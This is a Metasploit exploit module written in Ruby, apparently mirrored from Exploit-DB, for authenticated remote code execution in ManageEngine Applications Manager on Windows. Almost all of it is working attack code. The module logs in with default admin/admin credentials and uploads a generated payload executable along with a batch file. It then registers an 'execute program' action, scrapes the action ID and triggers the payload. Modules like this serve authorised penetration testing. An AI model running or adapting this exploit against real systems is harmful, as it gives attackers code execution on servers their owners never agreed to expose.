ManageEngine Applications Manager – (Authenticated) Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2011-04-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17152/
  • ##
    # $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize
    		super(
    			'Name'=> 'ManageEngine Applications Manager Authenticated Code Execution',
    			'Version'	=> '$Revision: 12281 $',
    			'Description'	=> %q{
    						This module logs into the Manage Engine Appplications Manager to upload a 
    					payload to the file system and a batch script that executes the payload. },
    			'Author'	=> 'Jacob Giannantonio <JGiannan[at]gmail.com>',
    			'Platform'	=> 'win',
    			'Targets'	=>
    					[
    						['Automatic',{}],
    					],
    			'DefaultTarget'	=>	0
    			)
    			
    		register_options(
    			[ Opt::RPORT(9090),
    				OptString.new('URI', [false, "URI for Applications Manager", '/']),
    				OptString.new('USER', [false, "username", 'admin']),
    				OptString.new('PASS', [false, "password", 'admin']),
    		], self.class)
    	end
    	def target_url
    		"http://#{rhost}:#{rport}#{datastore['URI']}"
    	end
    	def exploit
    		# Make initial request to get assigned a session token
    		cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
    		cookie << "am_username=;am_check="
    		begin
    			print_status "#{target_url} Applications Manager - Requesting Session Token"
    			res = send_request_cgi({
    				'method'=> 'GET',
    				'uri'	=> "#{target_url}/webclient/common/jsp/home.jsp",
    				'cookie'=> cookie.to_s
    			}, 20)
    
    			if !res
    				print_error("Request to #{target_host} failed")
    				return
    			end
    
    			if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
    				cookie << "; #{$1}"
    				print_good("Assigned #{$1}")
    			else
    				print_error("Initial request failed: http error #{res.code}")
    				return
    			end
    
    		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
    			return
    		rescue ::Timeout::Error, ::Errno::EPIPE
    			return
    		end
    
    		# send cookie to index.do
    		begin
    			print_status "Sending session token to #{target_url}/index.do"
    			res = send_request_raw({
    				'method'=> 'GET',
    				'uri' => "#{target_url}/index.do",
    				'cookie' => cookie
    			}, 20)
    
    			if !res || res.code != 200
    				print_error("Request to #{target_url} failed")
    			end
    
    		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
    			print_error("Request to #{target_url}/index.do failed")
    			return
    		rescue ::Timeout::Error, ::Errno::EPIPE
    			return
    		end
    
    		# Log in with the assigned session token
    		post_data = "clienttype2=html&j_username="
    		post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
    		post_data << "j_password="
    		post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
    		print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")
    
    		begin
    			res = send_request_cgi({
    				'method'=> 'POST',
    				'uri' => "#{target_url}/j_security_check",
    				'cookie' => cookie,
    				'data'=> post_data.to_s
    			}, 20)
    
    			if !res
    				print_error("Request to #{target_url} Failed")
    			end
    			# Server responds with a 302 redirect when the login is successful and
    			# HTTP 200 for a failed login
    			if res and res.code == 302
    				print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
    			else
    				print_error("Failed to log into #{target_url}")
    				return
    			end
    
    		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
    			print_error("Request to #{target_url}/j_security_check failed")
    			return
    		rescue ::Timeout::Error, ::Errno::EPIPE
    			return
    		end
    		# initial request to upload.do
    		# I think this is required to upload content later on.
    		begin
    			res = send_request_cgi({
    				'method'=> 'POST',
    				'uri' => "#{target_url}/Upload.do",
    				'cookie'=> cookie,
    				'data'=> post_data
    			}, 20)
    
    			if !res
    				print_error("HTTP request to #{target_url} Failed")
    			end
    
    		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
    			print_error("Request to #{target_url}/Upload.do Failed")
    			return
    		rescue ::Timeout::Error, ::Errno::EPIPE
    			return
    		end
    
    		# Transfer the payload executable via POST request to Upload.do
    		boundary = rand_text_numeric(11)
    		payload_file = "#{rand_text_alphanumeric(20)}.exe"
    		lines = "-----------------------------#{boundary}"
    		content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
    		content_disposition << "filename=\"#{payload_file}\"\r\n"
    		post_data = lines + "\r\n" + content_disposition.to_s
    		post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
    		post_data << "#{generate_payload_exe}\r\n\r\n"
    		post_data << lines + "\r\nContent-Disposition: form-data; "
    		post_data << "name=\"uploadDir\"\r\n\r\n"
    		post_data << ".\/\r\n#{lines}--\r\n"
    
    		begin
    			referer = "http://#{target_url}/Upload.do"
    			res = send_request_raw({
    				'method'=> 'POST',
    				'uri' => "#{target_url}/Upload.do",
    				'headers' => {'Referer' => referer,
    					'cookie' => "#{cookie}\r\nContent-Type: " +
    					"multipart/form-data; " +
    					"boundary=---------------------------#{boundary}",
    					'Content-Length' => post_data.length},
    					'data'=> post_data
    			}, 20)
    
    			if !res
    				print_error("Request to #{target_url} failed")
    			end
    
    			if res and res.code == 200
    				print_good("Uploaded payload #{payload_file}")
    			else
    				print_error("Response HTTP #{res.code} and HTTP 302 expected")
    			end
    
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			print_error("Request to #{target_url}/Upload.do failed")
    			return
    		rescue ::Timeout::Error, ::Errno::EPIPE
    			return
    		end
    		# Transfer the batch sript via POST request to Upload.do
    		# The server will eventually call the batch script, which will call the payload.exe
    		boundary = rand_text_numeric(11)
    		bat_file = "#{rand_text_alphanumeric(20)}.bat"
    		lines = "-----------------------------#{boundary}"
    		content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
    		content_disposition << "filename=\"#{bat_file}\"\r\n"
    		post_data = lines + "\r\n" + content_disposition.to_s
    		post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
    		post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
    		post_data << "g\\#{payload_file}\"\r\n\r\n"
    		post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
    		post_data << "\r\n\r\n"
    		post_data << ".\/\r\n#{lines}--\r\n"
    
    		begin
    			referer = "#{target_url}/Upload.do"
    				res = send_request_cgi({
    				'method'=> 'POST',
    				'uri' => "#{target_url}/Upload.do",
    				'headers' => {'Referer' => referer,
    				'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
    				"boundary=---------------------------#{boundary}",
    				'Content-Length' => post_data.length},
    				'data'=> post_data
    			}, 20)
    
    			if !res
    				print_error("HTTP request to #{target_url} failed")
    				return
    			end
    
    			if res and res.code == 200
    				print_good("Uploaded #{bat_file} to execute #{payload_file}")
    			end
    
    		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
    			print_error("Request to #{target_url}/Upload.do failed")
    			return
    		rescue ::Timeout::Error, ::Errno::EPIPE
    			return
    		end
    
    		action_name = "#{rand_text_alphanumeric(20)}"
    		post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
    		post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
    		post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
    		post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
    		post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
    		post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
    		post_data << "bortafter=10&cancel=false"
    
    		# This client request is necessary because it sends a request to the server
    		# specifying that we are interested in executing the batch script.If
    		# successful, the server response body will contain an actionID that is
    		# used to tell the server to execute the script.
    		begin
    			referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
    			res = send_request_cgi({
    				'method'=> 'POST',
    				'uri' => "#{target_url}/adminAction.do",
    				'headers' => {'Referer' => referer,
    				'cookie' => cookie,
    				'Content-Type' => "application/x-www-form-urlencoded",
    				'Content-Length' => post_data.to_s.length},
    				'data'=> post_data.to_s
    			}, 20)
    
    			if !res
    				print_error("Request to #{target_host} failed")
    			end
    
    			# We are parsing the response in order to determine the correct actionID.
    			# My solution for doing this is to iterate through the HTTP response one
    			# line at a time.The correct actionID always comes up several lines 
    			# after reading the name of the batch file 3 times.Even if other batch 
    			# files are mixed up in the list of actions to execute, ours is always 
    			# the next one after reading the batch file name 3 times
    
    			if res and (res.code == 302 || res.code == 200)
    				action_id = 0
    				x = 0
    				res.body.each_line do |k|
    					k.strip!
    					if((k =~ /&actionID=(\d{8})/) && (x == 3))
    						action_id = $1
    						break;
    					elsif((k =~ /#{bat_file}/) && (x < 3))
    						x+=1
    					end
    				end
    			else
    				print_error("HTTP error #{res.code} and HTTP 302 expected")
    			end
    
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			print_error("HTTP request to #{target_url}/adminAction.do ")
    			return
    		rescue ::Timeout::Error, ::Errno::EPIPE
    			return
    		end
    
    		begin
    			referer = "#{target_url}/common/executeScript.do?"
    			referer << "method=testAction&actionID=#{action_id}&haid=null"
    			print_good("Requesting to execute batch file with actionID #{action_id}")
    			res = send_request_cgi({
    				'method'=> 'GET',
    				'uri' => "#{target_url}/common/executeScript.do?method=testAction&" + 
    						"actionID=#{action_id}&haid=null",
    				'headers' => {'Referer' => referer,
    				'cookie' => 	"executeProgramActionTable_sortcol=1; " + 
    						"executeProgramActionTable_sortdir=down; " + 
    						"#{cookie}; executeProgramActionTable_" + 
    						"sortdir=down; executeProgramActionTable_sortcol=1",
    				'Content-Type' => "application/x-www-form-urlencoded"}
    			}, 20)
    
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    			print_error("Request to execute the actionID failed")
    		rescue ::Timeout::Error, ::Errno::EPIPE
    		end
    	end
    end